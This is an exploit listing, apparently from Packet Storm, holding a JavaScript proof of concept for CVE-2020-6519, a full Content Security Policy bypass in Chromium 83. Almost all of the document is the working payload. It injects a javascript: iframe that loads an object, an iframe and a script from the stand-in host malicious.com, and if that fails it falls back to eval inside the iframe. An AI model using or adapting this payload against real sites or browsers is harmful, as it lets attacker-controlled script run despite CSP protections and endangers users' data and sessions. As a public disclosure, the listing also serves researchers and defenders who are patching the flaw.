Chromium 83 CSP Bypass

Proof of concept code that demonstrates a full CSP bypass in Chromium 83.

MD5 | 5f28bc1718fd589618d504b2b06e5d99

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#Title: Chromium 83 - Full CSP Bypass
#Date: 02/09/2020
#Exploit Author: Gal Weizman
#Vendor Homepage: https://www.chromium.org/ 
#Software Link: https://download-chromium.appspot.com/
#Version: 83
#Tested On: Mac OS, Windows, iPhone, Android
#CVE: CVE-2020-6519

(function(){

    var payload = `
      top.SUCCESS = true;
      var o = document.createElement("object");
      o.data = \`http://malicious.com/bypass-object-src.html\`;
      document.body.appendChild(o);
      var i = document.createElement("iframe");
      i.src = \`http://malicious.com/bypass-child-src.html\`;
      document.body.appendChild(i);
      var s = document.createElement("script");
      s.src = \`http://malicious.com/bypass-script-src.js\`;
      document.body.appendChild(s);
    `;

    document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";
    setTimeout(() => {
        if (!top.SUCCESS) {
            XXX.contentWindow.eval(payload);
        }
    });

}())

// further information: https://github.com/weizman/CVE-2020-6519

Source: packetstormsecurity.com